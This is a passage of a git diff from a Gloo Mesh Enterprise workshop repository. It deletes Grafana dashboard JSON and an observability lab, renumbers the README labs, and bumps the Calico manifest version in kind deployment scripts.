"id": "byName", - "options": "quota - requests" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#F2495C", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "quota - limits" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#FF9830", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - } - ] - }, - "gridPos": { - "h": 16, - "w": 12, - "x": 12, - "y": 57 - }, - "id": 41, - "interval": "1m", - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "sum(container_memory_working_set_bytes{job=\"kubelet\", metrics_path=\"/metrics/cadvisor\", namespace=\"gloo-mesh\", container!=\"\", image!=\"\"}) by (pod)", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "{{pod}}", - "refId": "A", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"requests.memory\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - requests", - "refId": "B", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"limits.memory\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - limits", - "refId": "C", - "step": 10 - } - ], - "title": "Gloo Memory Usage (w/o cache)", - "type": "timeseries" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Resource Usage", - "type": "row" - } - ], - "refresh": "30s", - "schemaVersion": 37, - "style": "dark", - "tags": [ - "gloo" - ], - "templating": { - "list": [ - { - "current": { - "selected": true, - "text": "prometheus-GM", - "value": "prometheus-GM" - }, - "hide": 0, - "includeAll": false, - "label": "Gloo Prometheus", - "multi": false, - "name": "GlooPrometheus", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - }, - { - "current": { - "selected": false, - "text": "Prometheus", - "value": "Prometheus" - }, - "hide": 0, - "includeAll": false, - "label": "External Prometheus", - "multi": false, - "name": "ExternalPrometheus", - "options": [], - "query": "prometheus", - "queryValue": "", - "refresh": 1, - "regex": "", - "skipUrlSync": false, - "type": "datasource" - } - ] - }, - "time": { - "from": "now-3h", - "to": "now" - }, - "timepicker": {}, - "timezone": "", - "title": "Gloo Platform Operations", - "uid": "9Zx09Zg45", - "version": 10, - "weekStart": "" -} diff --git a/gloo-mesh/enterprise/2-4/airgap/images/steps/gloo-platform-observability/metrics-architecture-otel.svg b/gloo-mesh/enterprise/2-4/airgap/images/steps/gloo-platform-observability/metrics-architecture-otel.svg deleted file mode 100644 index 47b8c2c638..0000000000 --- a/gloo-mesh/enterprise/2-4/airgap/images/steps/gloo-platform-observability/metrics-architecture-otel.svg +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - workload cluster 1Gloo metrics collector agentsEast-west gatewayistiodmanagement clusterGloo management serverPrometheus servergRPC pushmetric scraping every 15sGloo agentGoo metricsgateway123Istio workloadworkload cluster 2Gloo metrics collector agentsEast-west gatewayistiodGloo agent1Istio workloadscrapescrapescrapescrapescrapescrape \ No newline at end of file diff --git a/gloo-mesh/enterprise/2-4/airgap/scripts/deploy-aws-with-calico.sh b/gloo-mesh/enterprise/2-4/airgap/scripts/deploy-aws-with-calico.sh index d123dd7b8f..1c7a2ec3cf 100755 --- a/gloo-mesh/enterprise/2-4/airgap/scripts/deploy-aws-with-calico.sh +++ b/gloo-mesh/enterprise/2-4/airgap/scripts/deploy-aws-with-calico.sh @@ -184,7 +184,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-4/airgap/scripts/deploy-multi-with-calico.sh b/gloo-mesh/enterprise/2-4/airgap/scripts/deploy-multi-with-calico.sh index e72e1f9720..dea19640aa 100755 --- a/gloo-mesh/enterprise/2-4/airgap/scripts/deploy-multi-with-calico.sh +++ b/gloo-mesh/enterprise/2-4/airgap/scripts/deploy-multi-with-calico.sh @@ -121,7 +121,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-4/airgap/scripts/deploy-with-calico.sh b/gloo-mesh/enterprise/2-4/airgap/scripts/deploy-with-calico.sh index 4e1643ee0c..a14138f3c4 100755 --- a/gloo-mesh/enterprise/2-4/airgap/scripts/deploy-with-calico.sh +++ b/gloo-mesh/enterprise/2-4/airgap/scripts/deploy-with-calico.sh @@ -117,7 +117,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-4/default/README.md b/gloo-mesh/enterprise/2-4/default/README.md index 25d638d5b4..646b82a750 100644 --- a/gloo-mesh/enterprise/2-4/default/README.md +++ b/gloo-mesh/enterprise/2-4/default/README.md @@ -27,9 +27,8 @@ source ./scripts/assert.sh * [Lab 11 - Create the Root Trust Policy](#lab-11---create-the-root-trust-policy-) * [Lab 12 - Leverage Virtual Destinations for east west communications](#lab-12---leverage-virtual-destinations-for-east-west-communications-) * [Lab 13 - Zero trust](#lab-13---zero-trust-) -* [Lab 14 - See how Gloo Platform can help with observability](#lab-14---see-how-gloo-platform-can-help-with-observability-) -* [Lab 15 - Securing the egress traffic](#lab-15---securing-the-egress-traffic-) -* [Lab 16 - VM integration with Spire](#lab-16---vm-integration-with-spire-) +* [Lab 14 - Securing the egress traffic](#lab-14---securing-the-egress-traffic-) +* [Lab 15 - VM integration with Spire](#lab-15---vm-integration-with-spire-) @@ -1762,7 +1761,8 @@ Let's add the domains to our `/etc/hosts` file: You can access the `productpage` service using this URL: [http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage). -You should now be able to access the `productpage` application through the browser. -Let's install a few dashboards! - -Now, you can go the the Grafana tab, log in with the default login credentials, admin/prom-operator, and import the dashboard of Istio control plane. - -Add the Operational Dashboard -============================= - -Our Gloo components are all instrumented with Prometheus compatible metrics, providing an easy way to pinpoint a potential degradation. - -You can import the following dashboard to see our Operational Dashboard, covering all of our components in the stack. - -Here, you have specific rows for each components, such as the management server, the agent, the telemetry collectors, and some additional information regarding resource usage. - -```bash -kubectl --context ${MGMT} -n monitoring create cm operational-dashboard \ ---from-file=data/steps/gloo-platform-observability/operational-dashboard.json -kubectl --context ${MGMT} label -n monitoring cm operational-dashboard grafana_dashboard=1 -``` - -Out-of-box alerting -=================== - -Our Prometheus comes with useful alerts by default, making it easier to get notified if something breaks. - -All of the default alerts have corresponding panels on the Operational Dashboard. - -You can click the "Bell" icon on the left, and choose "Alert rules", and check "GlooPlatformAlerts" to take a closer look at them. - -Let's trigger one of the alerts! - -If you scale down the Gloo Agent in let's say `cluster1`, you should have an alert called `GlooPlatformAgentsAreDisconnected` go into first PENDING, then FIRING, let's check this! - -```sh -kubectl --context $CLUSTER1 scale deployment.apps/gloo-mesh-agent -n gloo-mesh --replicas=0 -``` - -The alert will fire in 5m, but even before that, it will reach PENDING state, let's wait for this! - -Don't forget to scale it up after: - -```sh -kubectl --context $CLUSTER1 scale deployment.apps/gloo-mesh-agent -n gloo-mesh --replicas=1 -``` - -Collect remote IstioD metrics securely -====================================== - -Let's take a look how easy it is to modify the metrics collection in the workload clusters, to collect IstioD metrics, and ship them to the management cluster over TLS. - -```bash -helm upgrade --install gloo-platform gloo-platform \ - --repo https://storage.googleapis.com/gloo-platform/helm-charts \ - --namespace gloo-mesh \ - --kube-context ${CLUSTER1} \ - --reuse-values \ - --version 2.4.7 \ - --values - < +## Lab 14 - Securing the egress traffic [VIDEO LINK](https://youtu.be/tQermml1Ryo "Video Link") @@ -3344,7 +3174,7 @@ kubectl --context ${CLUSTER1} -n istio-gateways delete accesspolicy allow-get-ht -## Lab 16 - VM integration with Spire +## Lab 15 - VM integration with Spire Let's see how we can configure a VM to be part of the Mesh. diff --git a/gloo-mesh/enterprise/2-4/default/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json b/gloo-mesh/enterprise/2-4/default/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json deleted file mode 100644 index 555275afdd..0000000000 --- a/gloo-mesh/enterprise/2-4/default/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json +++ /dev/null @@ -1,2272 +0,0 @@ -{ - "__inputs": [ - { - "name": "DS_PROMETHEUS-GM", - "label": "prometheus-GM", - "description": "", - "type": "datasource", - "pluginId": "prometheus", - "pluginName": "Prometheus" - } - ], - "__elements": {}, - "__requires": [ - { - "type": "grafana", - "id": "grafana", - "name": "Grafana", - "version": "9.3.1" - }, - { - "type": "datasource", - "id": "prometheus", - "name": "Prometheus", - "version": "1.0.0" - }, - { - "type": "panel", - "id": "timeseries", - "name": "Time series", - "version": "" - } - ], - "annotations": { - "list": [ - { - "builtIn": 1, - "datasource": { - "type": "datasource", - "uid": "grafana" - }, - "enable": true, - "hide": true, - "iconColor": "rgba(0, 211, 255, 1)", - "name": "Annotations & Alerts", - "target": { - "limit": 100, - "matchAny": false, - "tags": [], - "type": "dashboard" - }, - "type": "dashboard" - } - ] - }, - "editable": true, - "fiscalYearStartMonth": 0, - "graphTooltip": 1, - "id": null, - "links": [], - "liveNow": false, - "panels": [ - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 0 - }, - "id": 60, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Deployed Versions", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 24, - "x": 0, - "y": 1 - }, - "id": 56, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(istio_build{component=\"pilot\", cluster=\"$cluster\"}) by (tag)", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "{{ tag }}", - "range": true, - "refId": "A" - } - ], - "title": "Pilot Versions", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 6 - }, - "id": 62, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Resource Usage", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 0, - "y": 7 - }, - "id": 5, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "process_virtual_memory_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "instant": false, - "intervalFactor": 2, - "legendFormat": "Virtual Memory", - "refId": "I", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "process_resident_memory_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Resident Memory", - "range": true, - "refId": "H", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_sys_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": true, - "intervalFactor": 2, - "legendFormat": "heap sys", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_alloc_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": true, - "intervalFactor": 2, - "legendFormat": "heap alloc", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_alloc_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Alloc", - "range": true, - "refId": "F", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_inuse_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Heap in-use", - "range": true, - "refId": "E", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_stack_inuse_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Stack in-use", - "range": true, - "refId": "G", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_memory_working_set_bytes{container=~\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Discovery (container)", - "range": true, - "refId": "B", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_memory_working_set_bytes{container=~\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Sidecar (container)", - "range": true, - "refId": "C" - } - ], - "title": "Memory", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 6, - "y": 7 - }, - "id": 6, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(container_cpu_usage_seconds_total{container=\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Discovery (container)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "irate(process_cpu_seconds_total{app=\"istiod\", cluster=~\"$cluster\"}[1m])", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Discovery (process)", - "range": true, - "refId": "C", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(container_cpu_usage_seconds_total{container=\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Sidecar (container)", - "range": true, - "refId": "B", - "step": 2 - } - ], - "title": "CPU", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 12, - "y": 7 - }, - "id": 7, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_fs_usage_bytes{container=\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Discovery", - "range": true, - "refId": "B", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_fs_usage_bytes{container=\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Sidecar", - "range": true, - "refId": "A" - } - ], - "title": "Disk", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 18, - "y": 7 - }, - "id": 4, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": false - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_goroutines{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Number of Goroutines", - "range": true, - "refId": "A", - "step": 2 - } - ], - "title": "Goroutines", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 14 - }, - "id": 58, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Pilot Push Information", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the rate of pilot pushes", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "bars", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "ops" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 0, - "y": 15 - }, - "id": 622, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"cds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Cluster", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"eds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Endpoints", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"lds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Listeners", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"rds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Routes", - "range": true, - "refId": "E" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"sds\", cluster=~\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Secrets", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"nds\", cluster=~\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Nametables", - "range": true, - "refId": "F" - } - ], - "title": "Pilot Pushes", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Captures a variety of pilot errors", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 8, - "y": 15 - }, - "id": 67, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_cds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_cds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected CDS Configs", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_eds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_eds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected EDS Configs", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_rds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_rds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected RDS Configs", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_lds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_lds_reject{app=\"istiod\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected LDS Configs", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_xds_write_timeout{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Write Timeouts", - "range": true, - "refId": "F" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_total_xds_internal_errors{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": 